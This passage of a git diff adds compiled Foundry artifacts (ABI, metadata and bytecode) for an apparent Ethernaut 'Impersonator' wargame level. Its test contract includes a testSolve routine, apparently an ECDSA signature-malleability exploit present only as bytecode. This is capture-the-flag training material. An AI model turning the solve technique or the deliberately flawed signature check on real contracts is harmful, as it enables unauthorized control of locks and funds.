\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"bytes\",\"name\":\"signature\",\"type\":\"bytes\"}],\"name\":\"deployNewLock\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"lockCounter\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"lockers\",\"outputs\":[{\"internalType\":\"contract ECLocker\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Impersonator.sol\":\"Impersonator\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Impersonator.sol\":{\"keccak256\":\"0x56cf85fb2968955c0d12a233f597108a5c499694ec0fb1b3133f616ca0fae30c\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5e8cd600975c8af9f82a6c16e9e1bec2f16dcfe6a4a41f88d3a27caeed579a74\",\"dweb:/ipfs/QmSpDVnKmEmWcrZbZ8magZbXP864SkzMMn3L7c87Bgc7Ex\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"_lockCounter","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"lockAddress","type":"address","indexed":true},{"internalType":"uint256","name":"lockId","type":"uint256","indexed":false},{"internalType":"uint256","name":"timestamp","type":"uint256","indexed":false},{"internalType":"bytes","name":"signature","type":"bytes","indexed":false}],"type":"event","name":"NewLock","anonymous":false},{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"bytes","name":"signature","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"deployNewLock"},{"inputs":[],"stateMutability":"view","type":"function","name":"lockCounter","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function","name":"lockers","outputs":[{"internalType":"contract ECLocker","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Impersonator.sol":"Impersonator"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Impersonator.sol":{"keccak256":"0x56cf85fb2968955c0d12a233f597108a5c499694ec0fb1b3133f616ca0fae30c","urls":["bzz-raw://5e8cd600975c8af9f82a6c16e9e1bec2f16dcfe6a4a41f88d3a27caeed579a74","dweb:/ipfs/QmSpDVnKmEmWcrZbZ8magZbXP864SkzMMn3L7c87Bgc7Ex"],"license":"MIT"}},"version":1},"id":2}
\ No newline at end of file
diff --git a/contracts/out/Impersonator.t.sol/TestImpersonator.json b/contracts/out/Impersonator.t.sol/TestImpersonator.json
new file mode 100644
index 000000000..be34e4b43
--- /dev/null
+++ b/contracts/out/Impersonator.t.sol/TestImpersonator.json
@@ -0,0 +1 @@
+{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testFail_TrySameSignatureChangeController","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testFail_TrySameSignatureOpen","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e8054831690911790556b75736572206164647265737360a01b60a05260809190915260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f557f1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b916024557f78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff260255560268054909116601b17905534801560ba575f80fd5b50617224806100c85f395ff3fe608060405234801561000f575f80fd5b5060043610610184575f3560e01c8063832e5fc2116100dd578063b5d11e9911610088578063e20c9f7111610063578063e20c9f71146102e6578063f82de7b0146102ee578063fa7626d414610301575f80fd5b8063b5d11e99146102aa578063b90a68fa146102b2578063ba414fa6146102de575f80fd5b8063916a17c6116100b8578063916a17c6146102775780639b59adbc1461027f578063b5508aa9146102a2575f80fd5b8063832e5fc21461024757806385226c811461024f57806385db81cc14610264575f80fd5b80632ade38801161013d57806361deaae51161011857806361deaae51461021757806366d9a9a01461021f578063792e11f514610234575f80fd5b80632ade3880146101f25780633e5e3c23146102075780633f7286f41461020f575f80fd5b80631c7db6691161016d5780631c7db6691461019a5780631ed7831c146101ca5780632356661a146101df575f80fd5b80630a9254e4146101885780630b3ac6e014610192575b5f80fd5b61019061030e565b005b6101906107b4565b6101ad6101a8366004611f73565b61090e565b6040516001600160a01b0390911681526020015b60405180910390f35b6101d2610ac9565b6040516101c19190611fb1565b6101ad6101ed366004612091565b610b29565b6101fa610ce6565b6040516101c19190612158565b6101d2610e22565b6101d2610e80565b610190610ede565b610227611016565b6040516101c19190612221565b6101d26102423660046122e5565b61110c565b61019061128e565b61025761143a565b6040516101c191906122fc565b6101ad610272366004612353565b611505565b610227611619565b61029261028d36600461236e565b61170f565b60405190151581526020016101c1565b610257611896565b610190611961565b601f805460408051602080820184905282518083038201815291830190925280519101209091556101ad565b610292611b4a565b6101d2611c1a565b6101906102fc3660046122e5565b611c78565b601e546102929060ff1681565b5f610319600261110c565b9050805f8151811061032d5761032d6123a5565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156103e1575f80fd5b505af11580156103f3573d5f803e3d5ffd5b505050508060018151811061040a5761040a6123a5565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156104be575f80fd5b505af11580156104d0573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801561052a575f80fd5b505af115801561053c573d5f803e3d5ffd5b505060225461055692506001600160a01b03169050611505565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f9061059190611f2b565b604051809103905ff0801580156105aa573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801561060a575f80fd5b505af115801561061c573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561067a575f80fd5b505af115801561068c573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156106e6575f80fd5b505af11580156106f8573d5f803e3d5ffd5b505060205461071b92506001600160a01b031690508266038d7ea4c6800061090e565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561079a575f80fd5b505af11580156107ac573d5f803e3d5ffd5b505050505050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801561080a575f80fd5b505af115801561081c573d5f803e3d5ffd5b505060215460405163404d55c960e11b81525f6004820181905293506001600160a01b03909116915063809aab9290602401602060405180830381865afa158015610869573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088d91906123b9565b602654602480546025546023546040516303e8cd5760e41b815260ff90951660048601529284019190915260448301526001600160a01b03908116606483015291925090821690633e8cd570906084015b5f604051808303815f87803b1580156108f5575f80fd5b505af1158015610907573d5f803e3d5ffd5b5050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610969575f80fd5b505af115801561097b573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b1580156109da575f80fd5b505af11580156109ec573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015610a50573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610a779190810190612453565b90508060018251610a8891906125e8565b81518110610a9857610a986123a5565b60200260200101515f0151600281518110610ab557610ab56123a5565b60200260200101515f1c9150509392505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610b01575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa158015610b88573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610baf91908101906125fb565b90505f818485604051602001610bc6929190612648565b60408051601f1981840301815290829052610be492916020016126f2565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb1190610c46908590600401612720565b5f60405180830381865afa158015610c60573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610c8791908101906125fb565b90505f610cd26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083611ce990919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015610e19575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015610e02578382905f5260205f20018054610d7790612732565b80601f0160208091040260200160405190810160405280929190818152602001828054610da390612732565b8015610dee5780601f10610dc557610100808354040283529160200191610dee565b820191905f5260205f20905b815481529060010190602001808311610dd157829003601f168201915b505050505081526020019060010190610d5a565b505050508152505081526020019060010190610d09565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610b01575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610b01575050505050905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015610f34575f80fd5b505af1158015610f46573d5f803e3d5ffd5b505060215460405163404d55c960e11b81525f6004820181905293506001600160a01b03909116915063809aab9290602401602060405180830381865afa158015610f93573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fb791906123b9565b602654602480546025546040517f259aa24000000000000000000000000000000000000000000000000000000000815260ff90941660048501529183015260448201529091506001600160a01b0382169063259aa240906064016108de565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015610e19575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156110f457602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116110a15790505b50505050508152505081526020019060010190611039565b60605f8267ffffffffffffffff81111561112857611128611ffc565b604051908082528060200260200182016040528015611151578160200160208202803683370190505b5090505f5b83811015611287575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801561119c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c091906123b9565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801561123d575f80fd5b505af115801561124f573d5f803e3d5ffd5b5050505080838381518110611266576112666123a5565b6001600160a01b039092166020928302919091019091015250600101611156565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156112e4575f80fd5b505af11580156112f6573d5f803e3d5ffd5b50506025547ffffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd036414192505f915061132b90836125e8565b60215460405163404d55c960e11b81525f600482018190529293506001600160a01b039091169063809aab9290602401602060405180830381865afa158015611376573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139a91906123b9565b602480546023546040516303e8cd5760e41b8152601c600482015292830191909152604482018590526001600160a01b03908116606483015291925090821690633e8cd570906084015f604051808303815f87803b1580156113fa575f80fd5b505af115801561140c573d5f803e3d5ffd5b5050602054602154611435935061143092506001600160a01b03918216911661170f565b611d86565b505050565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015610e19578382905f5260205f2001805461147a90612732565b80601f01602080910402602001604051908101604052809291908181526020018280546114a690612732565b80156114f15780601f106114c8576101008083540402835291602001916114f1565b820191905f5260205f20905b8154815290600101906020018083116114d457829003601f168201915b50505050508152602001906001019061145d565b5f8060405161151390611f38565b604051809103905ff08015801561152c573d5f803e3d5ffd5b5090505f60405161153c90611f45565b604051809103905ff080158015611555573d5f803e3d5ffd5b50848360405161156490611f52565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801561159d573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156115fb575f80fd5b505af115801561160d573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015610e19575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156116f757602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116116a45790505b5050505050815250508152602001906001019061163c565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561176a575f80fd5b505af115801561177c573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156117d9575f80fd5b505af11580156117eb573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801561184e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526118759190810190612453565b905060018151111561188b576001915050611890565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b82821015610e19578382905f5260205f200180546118d690612732565b80601f016020809104026020016040519081016040528092919081815260200182805461190290612732565b801561194d5780601f106119245761010080835404028352916020019161194d565b820191905f5260205f20905b81548152906001019060200180831161193057829003601f168201915b5050505050815260200190600101906118b9565b60215460405163404d55c960e11b81525f60048201819052916001600160a01b03169063809aab9290602401602060405180830381865afa1580156119a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119cc91906123b9565b9050611a39816001600160a01b03166366fa19326040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a31919061276a565b610539611dfc565b611ab6816001600160a01b031663f77c47916040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a78573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a9c91906123b9565b7342069d82d9592991704e6e41bf2589a76ead1a91611e78565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015611b0c575f80fd5b505af1158015611b1e573d5f803e3d5ffd5b5050602054602154611b479350611b4292506001600160a01b03918216911661170f565b611ed9565b50565b6008545f9060ff1615611b61575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015611bef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c13919061276a565b1415905090565b60606015805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610b01575050505050905090565b5f611c838243612781565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801561079a575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890611d3e9086908690600401612794565b5f60405180830381865afa158015611d58573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052611d7f91908101906127c1565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b158015611dea575f80fd5b505afa158015610907573d5f803e3d5ffd5b6040517f98296c54000000000000000000000000000000000000000